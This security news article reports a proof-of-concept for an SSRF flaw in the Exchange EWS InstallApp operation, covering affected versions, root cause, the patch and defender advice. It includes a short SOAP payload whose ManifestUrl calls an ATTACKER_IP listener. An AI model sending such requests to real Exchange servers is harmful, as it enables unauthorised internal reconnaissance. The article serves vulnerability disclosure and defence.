PoC Released for Microsoft Exchange Server EWS InstallApp SSRF Vulnerability

A proof-of-concept exploit has been released for CVE-2026-45502, a server-side request forgery (SSRF) vulnerability in the Microsoft Exchange Server’s Exchange Web Services (EWS) InstallApp operation. This vulnerability poses risks to organisations that have not yet deployed the security updates from June 2026.

The flaw affects Exchange Server versions 2016 CU23, 2019 CU14 and CU15, and the Exchange Server Subscription Edition RTM. An authenticated mailbox user can misuse the ManifestUrl parameter in an InstallApp SOAP call to compel the server to send HTTP requests to attacker-controlled internal or external endpoints.

Microsoft Exchange Server SSRF Vulnerability

Microsoft rates the vulnerability with a CVSS 3.1 score of 5.0 (medium), based on criteria such as network attack vector, low attack complexity, low required privileges, no user interaction, and a change in scope with limited confidentiality impact.

A more detailed CVSS 4.0 evaluation assigns a score of 2.3 (low), while still acknowledging the proof-of-concept status and potential real-world risks in sensitive network configurations, as reported by Aretiq.

The root cause of the issue is insufficient URL validation within the SynchronousDownloadData.DownloadDataFromUri() routine, which processes user-supplied ManifestUrl values during EWS add-in installation.

In on-premises Exchange deployments, the check for intranet-address SSRF is dependent on a cloud-specific isBposUser flag that is always set to false. As a result, the internal-address blocking logic does not operate, allowing the server to trust arbitrary URLs provided by authenticated users.

This logic error effectively transforms Exchange into a network proxy that can access internal HTTP services, metadata endpoints such as 169.254.169.254, and other restricted resources from the server’s privileged network position.

Although the SSRF is largely blind, researchers have shown that the response behavior, HTTP error codes, and timing can be utilized to map internal services and confirm their reachability, creating a reliable method for internal reconnaissance and potential chaining with other vulnerabilities.

To demonstrate exploitability, researchers published a PoC workflow that starts a simple HTTP listener and then sends a crafted EWS InstallApp request with a ManifestUrl pointing back to that listener, confirming the SSRF when the Exchange server initiates an inbound callback. A minimal pseudocode-style PoC fragment can be represented as follows, omitting full automation for safety and brevity:

# Minimal PoC sketch (for lab validation only)
soap_body = """
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
               xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages">
  <soap:Body>
    <m:InstallApp>
      <m:ManifestUrl>http://ATTACKER_IP:8888/ssrf-test</m:ManifestUrl>
    </m:InstallApp>
  </soap:Body>
</soap:Envelope>
"""
# Send SOAP body to https://EXCHANGE/EWS/Exchange.asmx with authenticated EWS request

In a vulnerable environment, the Exchange server performs an HTTP GET to the specified URL, often appending the corr=<guid> correlation parameter.

In contrast, a patched system rejects the request before establishing an outbound connection. The existence of such a PoC, even in limited form, increases the likelihood of opportunistic probing and red-team adoption, especially in environments where Exchange servers have broad east–west visibility.dbugs.

Microsoft addressed CVE-2026-45502 in the June 9, 2026 Patch Tuesday release via KB5094139 for Exchange Server Subscription Edition and corresponding security updates for Exchange 2016 and 2019.

The fix replaces the isBposUser-gated logic with a feature-flag-driven model that enforces ManifestUrlValidation for all deployments and introduces ManifestUrlCheck, an allowlist that, by default, only permits trusted authorities such as officeclient.microsoft.com, with optional, administrator-configurable entries.

Organizations should verify that their Exchange builds meet or exceed the fixed versions documented in Microsoft’s guidance and third-party advisories, and any instance below those builds should be treated as vulnerable until patched.

In parallel, defenders are urged to lock down outbound connectivity from Exchange servers, monitor for anomalous HTTP traffic originating from Exchange to internal ranges or unusual external hosts, and apply strict access controls around EWS endpoints, given that valid credentials remain a prerequisite for exploitation.

Follow us on Google News, LinkedIn, and X to Get Instant Updates and Set GBH as a Preferred Source in Google.